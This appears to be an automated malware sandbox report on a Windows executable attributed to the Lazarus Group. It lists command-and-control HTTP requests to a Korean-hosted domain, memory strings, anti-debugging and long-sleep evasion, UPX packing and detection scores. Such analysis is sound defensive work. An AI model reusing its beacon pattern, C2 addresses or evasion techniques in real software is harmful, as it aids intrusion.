Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: poem.ekosa.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Mon, 11 Jan 2021 16:54:56 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Source: WVbU1Gf5p8.exe, WVbU1Gf5p8.exe, 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp.bat
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp, WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn6780;
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn6786
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678:
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678B
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002522478.000000000139A000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678C:
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678F
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678H;c
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678T;O
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678V
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678Z;q
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678j
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678k
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678l;
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678n
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678r
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678~
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678~;
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp, WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u.
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uD
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uE
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uJ
Source: WVbU1Gf5p8.exe, 00000000.00000003.781276052.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uL
Source: WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uO
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uP
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uX
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ud
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uer
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn6786
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678H;c
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678k
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678l;
Source: WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678~;
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ul
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6um
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uon
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uq
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ur
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6urm
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uv
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a DirectInput object (often for capturing keystrokes)

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002648212.000000000166A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Submitted sample is a known malware sample

Source: WVbU1Gf5p8.exe

Initial file: MD5: 69f7cde70cc22aceb5dd32ff1dc3f685 Family: Lazarus Group Alias: Operation DarkSeoul, Dark Seoul, Hidden Cobra, Hastati Group, Andariel Group, Unit 121, Bureau 121, NewRomanic Cyber Army Team, Bluenoroff, Group 77, Labyrinth Chollima, Operation Troy, Operation GhostSecret, Guardians of Peace, ZINC, NICKEL ACADEMY, APT-C-26, Silent Chollima, Lazarus Group Description: Lazarus Group, active since at least 2009, is an APT group that has been attributed to the North Korean. There are lots of campaigns connected, including Operation Blockbuster, Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, Ten Days of Rain, etc.In November 2014, it carried out destructive wiping attack against Sony Pictures Entertainment. In 2016, it attacked Bangladesh central banks and stole US$81 million. In the middle of 2017, the WannaCry malware which leverages the leaked EternalBlue exploits affected as many as 300,000 computers worldwide. References: Data Source: https://github.com/RedDrip7/APT_Digital_Weapon

Detected potential crypto function

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01231780	0_2_01231780
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01231EB0	0_2_01231EB0
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123B40E	0_2_0123B40E
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123AF60	0_2_0123AF60
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123FA1C	0_2_0123FA1C
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_012346F7	0_2_012346F7

Sample file is different than original file name gathered from version info

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002630413.0000000001640000.00000002.00000001.sdmp

Binary or memory string: OriginalFilenamemswsock.dll.muij% vs WVbU1Gf5p8.exe

Uses 32bit PE files

Source: WVbU1Gf5p8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal60.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

File created: C:\Users\user\AppData\Local\Temp\TMP9518.tmp

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: TMP	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: TMP	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: .bat	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: CPE:%08x	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: DFE:%08x	0_2_01232240

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: WVbU1Gf5p8.exe	Virustotal: Detection: 71%
Source: WVbU1Gf5p8.exe	ReversingLabs: Detection: 66%

Source: WVbU1Gf5p8.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01231EB0 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01231EB0

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_012445B5 push esi; ret		0_2_012445BE
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232E86 push ecx; ret		0_2_01232E99

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Malware Analysis System Evasion:

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Thread delayed: delay time: 180000

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe TID: 3296	Thread sleep count: 78 > 30			Jump to behavior
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe TID: 3296	Thread sleep time: -14040000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_012385AB FindFirstFileExA,

0_2_012385AB

Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW

Anti Debugging:

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232C32 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_01232C32

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

0_2_01231EB0

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01235C5E mov eax, dword ptr fs:[00000030h]

0_2_01235C5E

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_0123A191 GetProcessHeap,

0_2_0123A191

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232D83 SetUnhandledExceptionFilter,	0_2_01232D83
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232C32 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01232C32
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01236B11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01236B11
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232796 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_01232796

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232E9B cpuid

0_2_01232E9B

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232B24 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_01232B24

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
210.116.91.80	unknown	Korea Republic of		17881	INETHOSTING-AS-KRInetHostingIncKR	false

Contacted Domains

Name	IP	Active
poem.ekosa.org	210.116.91.80	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://poem.ekosa.org/intro/info/info.asp?id=dn678	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u	false	Avira URL Cloud: safe	unknown

AV Detection:

Antivirus / Scanner detection for submitted sample

Source: WVbU1Gf5p8.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: WVbU1Gf5p8.exe	Virustotal: Detection: 71%			Perma Link
Source: WVbU1Gf5p8.exe	ReversingLabs: Detection: 66%

Machine Learning detection for sample

Source: WVbU1Gf5p8.exe

Joe Sandbox ML: detected

Compliance:

Uses 32bit PE files

Source: WVbU1Gf5p8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: WVbU1Gf5p8.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_012385AB FindFirstFileExA,

0_2_012385AB

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
